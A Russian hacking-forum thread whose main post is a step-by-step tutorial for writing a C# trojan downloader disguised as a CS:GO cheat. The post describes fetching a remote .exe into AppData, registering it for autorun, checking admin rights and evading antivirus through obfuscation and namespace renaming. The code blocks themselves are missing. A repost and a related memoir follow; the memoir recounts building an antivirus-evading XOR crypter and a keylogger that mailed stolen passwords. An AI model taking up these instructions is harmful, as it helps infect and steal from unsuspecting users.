Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.
Просмотры: 2 963
Вам необходимо обновить браузер или попробовать использовать другой.
- Статус
- В этой теме нельзя размещать новые ответы.
- Дней с нами
- 2.882
- Розыгрыши
- 0
- Сообщения
- 1.207
- Репутация
+/- -
268
- Реакции
- 2.709
- Telegram
- foxovsky
-
#1
Вы когда-нибудь задумывались о том, что любая программа может оказаться трояном-загрузчиком?
Наврятли. Именно этот фактор мы и будем эксплуатировать во время разработки нашего Trojan.Downloader.
Немного теории
Я не так давно заметил, что на самые наглые действия (загрузка файлов в отдельном потоке, добавление записей в реестр) со стороны программы, написанной на C#, антивирусы НИКАКне реагируют.
Поэтому наш загрузчик мы будем писать на C#.
Впоследствии, если боитесь запалить код, можете воспользоваться любым обфускатором.
Непосредственно разработка
Создаем консольный проект (я буду маскировать свой загрузчик под чит для CS:GO) в Visual Studio
Приступаем к коду.
Напишем проверку привилегий приложения (запущен ли наш троян от имени админа или нет), не забываем об импортах.
Создадим логгер для более симпатичного вывода данных в консоль:
Пишем непосредственно загрузчик(Managers/DownloadManager.cs):
Код загружает с удаленного сервера .exe файл, сохраняет его в AppData и записывает в автозагрузку.
Создадим саму функцию добавления файла в автозагрузку:
Профит — опасная часть утилиты готова. Осталось сделать красивую обёртку.
Создаем CheatManager
Компилируем, смотрим
Результат сканирования
Никаких подозрений к нам нет(единственный ложный детект из-за специфичного пространства имён внутри приложения)
Итог
Мы написали собственный незаметный антивирусам троян-загрузчик на C#
Советую изменить пространство имен на какое-либо другое, не созвучное с Trojan или Downloader
Скачать исходники можно в статье в моем блоге
Всех, кому интересны такие темы, как информационная безопасность, атаки на ресурсы, обратная разработка и просто программирование и дизайн, буду рад видеть в своем бложике — http://foxovsky.ru
Пока-что статей мало, но думаю что постить буду туда что-либо на постоянной основе
- Дней с нами
- 2.882
- Розыгрыши
- 0
- Сообщения
- 1.207
- Репутация
+/- -
268
- Реакции
- 2.709
- Telegram
- foxovsky
- Дней с нами
- 3.323
- Розыгрыши
- 0
- Сообщения
- 1.084
- Репутация
+/- -
445
- Реакции
- 2.381
-
#3
на самые наглые действия (загрузка файлов в отдельном потоке, добавление записей в реестр) со стороны программы, написанной на C#, антивирусы НИКАКне реагируют.
Аваст реагирует.
Он на все реагирует.
- Дней с нами
- 2.645
- Розыгрыши
- 0
- Сообщения
- 432
- Репутация
+/- -
72
- Реакции
- 441
-
#4
Оригинал статьи: http://foxovsky.ru/?go=all/c-sharp-trojan-downloader/Вы когда-нибудь задумывались о том, что любая программа может оказаться трояном-загрузчиком?
Наврятли. Именно этот фактор мы и будем эксплуатировать во время разработки нашего Trojan.Downloader.Немного теории
Я не так давно заметил, что на самые наглые действия (загрузка файлов в отдельном потоке, добавление записей в реестр) со стороны программы, написанной на C#, антивирусы НИКАКне реагируют.Поэтому наш загрузчик мы будем писать на C#.
Впоследствии, если боитесь запалить код, можете воспользоваться любым обфускатором.
Непосредственно разработка
Создаем консольный проект (я буду маскировать свой загрузчик под чит для CS:GO) в Visual StudioПриступаем к коду.
Напишем проверку привилегий приложения (запущен ли наш троян от имени админа или нет), не забываем об импортах.Создадим логгер для более симпатичного вывода данных в консоль:
Пишем непосредственно загрузчик(Managers/DownloadManager.cs):
Код загружает с удаленного сервера .exe файл, сохраняет его в AppData и записывает в автозагрузку.
Создадим саму функцию добавления файла в автозагрузку:
Профит — опасная часть утилиты готова. Осталось сделать красивую обёртку.
Создаем CheatManagerКомпилируем, смотрим
Результат сканирования
Никаких подозрений к нам нет(единственный ложный детект из-за специфичного пространства имён внутри приложения)Итог
Мы написали собственный незаметный антивирусам троян-загрузчик на C#
Советую изменить пространство имен на какое-либо другое, не созвучное с Trojan или DownloaderСкачать исходники можно в статье в моем блоге
Всех, кому интересны такие темы, как информационная безопасность, атаки на ресурсы, обратная разработка и просто программирование и дизайн, буду рад видеть в своем бложике — http://foxovsky.ru
Пока-что статей мало, но думаю что постить буду туда что-либо на постоянной основе
Продам приватный чит winx реально что то годное на форуме появилось.
- Статус
- В этой теме нельзя размещать новые ответы.
Похожие темы
Добрый день, меня зовут Александр и я вирусописатель. Не разбегайтесь в стороны — это было уже давно и сейчас я обычный программист в обычной фирме. Однако хочу рассказать, с какими интересными вещами я сталкивался и, возможно, пояснить, что побуждает людей начинать писать вирусы. Только прежде чем осуждать меня — дочитайте до конца, пожалуйста. Посвящается всем, кто найдет для себя знакомые слова.
Оглавление
1. Предыстория
2. Первые шаги
3. Поиск талантов
4. Создание своего
5. Первые шаги
6. Цель вижу — иду на таран
7. Быть или не быть
8. Кульминация
9. Выводы
1. Предыстория
Дайте мне время и я найду рычаг, чтобы сдвинуть Землю. Поступил в институт, купили PC и появилось много свободного времени. Наверное, именно для этого и создан институт. На тот момент хорошо я знал только BASIC и Assembler — спасибо ZX-Spectrum за наше детство. Как оказалось, программировать под DOS было несложно, а кодить под Windows было еще проще, ведь в отличии от «Спектрума» за тебя в основном все делали WinAPI. Общение на форумах RTFM_Helpers и подобных помогли освоить архитектуру PC (нулевое кольцо, лазейки в Outlook, позволявшие запустить EXE файл даже просто при открытии письма и прочее) и в какой-то момент я понял, что могу сделать что-то ценное и полезное. Полезное для себя. Ведь в том время интернет был через модем и за каждый выход в интернет нужно было платить. Это было первое зерно в сторону зла. Но начнем с начала.
2. Первые шаги
Его путь был тернистым. Как может заработать программист, зная Бейсик и Ассемблер? Студентом я этого не понимал, и первое, во что ввязался, был частный проект создания базы данных города, где были бы описания всех фирм, их контакты и главное — быстрый поиск информации (привет дубльгис). Я написал оболочку и сверх быстрый поиск по базе, и даже уже наняли девушек, чтобы обзванивать фирмы и предлагать нашу программу, как вдруг выяснилось, что она выглядит по-разному на разных операционных системах. На ХР — все хорошо, на 98/95 уже немного все по-другому. Конечно, мой уровень (точнее редактирования ресурсов в билдере) был очень мал. Все свелось к тому, что я вышел из проекта и сделал вывод: интерфейсы и ассемблер — не мое. Обиделся на себя.
3. Поиск талантов
Если ты здесь – значит, на правильном пути. В какой-то момент я подхватил вирус CIH и мой компьютер пал в черный экран (да, для меня все еще 26 апреля знаменательный день). Тема меня заинтересовала, но не целью все разрушить, но обрести новые знания. Возврат в Ассемблер (поверьте, те, кто его знают — всегда к нему возвращаются) был неизбежен. Диззассемблирование кода SoftIce’ом, бессмертия в играх и отучение игр от дисков уже казалось банальным, и не надо было делать интерфейсы. Меня очень заинтересовали антивирусники и принцип их работы. Конечно, я взял за основу существующий вирус. На диске «Золотой софт 2000» их было пруд пруди. Я, как и сейчас многие авторы Хабра, анализировал его и прогонял через SoftIce и IdaPro и смог перенастроить под себя. Крики «Гениально!» и «Эврика!» опускаю, но они были. Зачем это делал расскажу позже. Я пошел дальше — опубликовал все это на своем сайте с целью показать, как же просто работает Ассемблер, и как просто работает вирус, и что это обычная программа, а не что-то ужасное, что может погубить ваш компьютер навсегда.
4. Создание своего
Распределение труда. В то же время меня подхватил товарищ и сказал, что я должен писать статьи, а он будет публиковать их на своем сайте — мол, это интересно и людей цепляет. Часть статей вы и сейчас можете найти, но людям всегда хочется больше. Они хотят попробовать сами. И даже тот вирус, который я приручил и написал под него программу настройки (там можно было указать почту и что-то еще), мне казался мелочью, ведь антивирусники все равно определяли его как вирус. Что делать? Вот оно — первая ласточка — почему пишутся вирусы — любопытство. Как работает антивирусник? Почему он так быстро сканирует файл, проверяя его на миллионы штаммов вирусов? В конце концов, интересно, как быстро новый вирус появится в базе антивируса, и кто первый его определит? Разве вам не интересно?
5. Первые шаги
Чем проще – тем гениальнее. Первая мысль — это спрятать существующий вирус от антивирусника. Буквально за день была написана такая программа, которая брала любой ЕХЕшник и, подставляя себя в вызов, XORила код (те, кто в курсе, знают, что это самый примитив в шифровке кода). И, о, чудо! Антивирусники перестали видеть вирус. Конечно, я поделился с миром этой информацией и программой. Тут надо сказать, что читателей было не особо много, может, сотня, может меньше, но, конечно все подначивали — давай еще и т.д. Я считал, что статьи и код, который я привожу, не вредит никому и лишь помогает тем, кто разбирается, чтобы лучше понять процессы. Естественно, я всегда выкладывал и полные исходники. Более того, в коде я указал свой электронный адрес и его было видно любым HEX-редактором (DosNavigator в тот момент был моим любимчиком). Zimenkov$Goldmail.ru, конечно, давно уже отключен, но по нему можно еще найти часть статей.
6. Цель вижу — иду на таран
Из искры зародится искра v2. Мысль росла. И главное, что это очень интересный опыт именно программирования в конкретной архитектуре (Windows). Не было какого-то момента принятия решения — плохо или хорошо. Не было какого-то понимания — а что если кто-то плохой может воспользоваться этим. Было понимание, что это обычная программа, и что я никого не обкрадываю и никому не делаю плохо. Да и интернет был не в каждом доме.
Конечно, только сейчас, спустя десятки лет, я сравниваю это с созданием мыла в домашних условиях. В неумелых руках может и пожар случиться. Но придраться ко мне было сложно — я по-прежнему был честен перед законом. Как-то просто и быстро все получалось, в результате меня подтолкнули на мысль написать собственный вирус и я написал очень простой троян. Он висит в памяти под чужим процессом (в памяти explorer’а) и перехватывает все введенные символы. Если они вводятся в поле password (со звездочками), то он запоминал пароль и заодно запоминал все соседние текстовые поля (логин). Как только появлялась связь с интернетом, отправлял данные почтой хозяину от имени explorer’а, конечно (ни один файрвол не придерется). Пока никак не распространялся, так как делался для друга, который хотел узнать пароль почты своей девушки. Мне интересно — ему приятно. Или наоборот.
Программа (вирус) работала. Читатели попросили расширить функционал. Я добавил перехват файлов с указанным расширением и отправку на ftp. Угадайте, как был назван вирус? Да простят мой юношеский энтузиазм, конечно, фамилией его создателя — Zimenok. Я немного исказил фамилию — это школьная кличка. Именно под эти именем сейчас он и хранится в просторах баз антивирусников.
7. Быть или не быть
Очень много интересных идей присылали читатели. Мое условие было одно — вирус был нераспространяемым. То есть следите за конкретным человеком, но не за всеми подряд. Тем не менее один человек умудрился распространить его массовой рассылкой писем. Угадайте, что было в письме. Девушка Даша мечтает познакомиться. Каждый третий клюнул и запустил неизвестный ему ЕХЕшник. О, времена, о, нравы! Кто-то умудрился даже перехватить пароль от веб-кошелька и файл-ключ. Каждый второй пока пробовал вирус, запускал его у себя и случайно отправлял свои данные. Но не один не посмотрел исходники. Конечно, я отправлял все через свой сайт и пока не давал никому данных, которых считал неуместными. Пока, однажды, у меня не закончился интернет, а передо мной лежал листочек с украденным (было-было, но прошло более 15 лет) логином и паролем для доступа. Как сейчас помню, voronin пароль bun***x и названием провайдера и безлимитным доступом.
Если бы у вас был пароль — воспользовались бы? Если бы на улице лежал бы кошелек — взяли бы? А нефть нашли у себя на даче — отдали бы государству? Очень сложные моральные вопросы. Одно дело сказать всем «да я бы никогда»! Другое дело — хоп, и никто не заметил. Быть или не быть? Я выбрал — не быть. И закрыл доступ всем пользователям вируса, но оставил исходники в нетронутом виде. Код казался очень простым, да и я понимал, что рано или поздно он потеряет актуальность, как и все в этом мире.
8. Кульминация
С момента публикации в сети вируса и его бурного обсуждения (копипаста другими сайтодержателями) прошел месяц. Вдруг приходит письмо от Касперского. С Евгением Касперским так и не пообщались. А вот с Крисом Касперски мы пересекались пару раз на RTFM_Helpers форумах – человек очень умный и явно ему было скучно среди обычных программеров. Кстати, помню на том форуме я ляпнул, что шифрование с открытым ключом невозможно взломать, даже если оно будет простое. В течении недели мой закодированный текст был взломан командой форума, но это отдельная история. Возвращаясь к письму: оно было без угроз и очень корректное, дословно не помню, но смысл, что я занимаюсь неправомерными вещами и пора сворачивать лавочку. Что, собственно, мы тогда и сделали — прекратили писать статьи и функционал вируса. Где-то через неделю вирус стал определяться Касперским. Спустя еще месяц (после этого) стал определяться ДокторВебом. Спустя еще месяц (после уже доктора) Авастом и остальными. Возможно, это мое субъективное мнение, но база первого как-то продается остальным по ступеням. В общем, победил Касперский. Более того, письмо было только от них.
9. Выводы
Много других интересных задач было сделано с опытом «написания вируса». Это, к примеру, работа с аськой и ее протоколами; сбор данных о сотовых вышках и их положений (повторюсь, был 2000-й год и тогда такой информации еще не было) для создания программы слежения за человеком по сотовым вышкам. Помню, тогда таксисты связались со мной – предлагали на основе этого сделать программу. Как любитель игр – сделал программу, делающую бессмертия в играх, которые не позволяли переключаться ALT+TAB’ом из игры. И главное, что для создания собственного проекта нужно немного – идея, мелкие инструменты и желание.
Один из инструментов — Small HTTP server. Пожалуй, и сейчас это лучший эмулятор HTTP и почтовых серверов. При помощи него можно подключаться к FTP или MAIL серверу – самой этой программе. Вспомнил про него – так как он многим полезен и сейчас. Недавно занимались отправкой писем клиентам – через него я тестировал массовую отправку. Удобно и просто.
Зачем все это делалось? Зачем дети что-то делают? Зачем что-то происходит? Это неправильные вопросы. Зачем они покупают дорогие машины, зачем они качаются до таких размеров? Ответ уже понятен? Каждый увидит свой смысл в любом действии. Тот, кто знает только С++, скажет, что Ассемблер сложен и неэффективен, и найдет еще кучу минусов. Тот, у кого телефон на Android, скажет, что он лучше всех. Поэтому я решил, что любую свою точку зрения буду строить на опыте обеих сторон. Именно поэтому я знаю и Ассемблер, и С++, именно поэтому есть и Android, и Apple. Нет лучших точек зрения или языков программирования. Каждый язык, каждое мнение под определенный круг задач и требований.
P.S.: Не считаю себя выдающимся или крутышкой. Наоборот, всегда хочу развиваться. Мне было бы интересно выслушать мнения других людей, что нужно было бы добавить в статью, услышать вопросы или негатив – понять вашу точку зрения, сложившуюся на основе вашего опыта.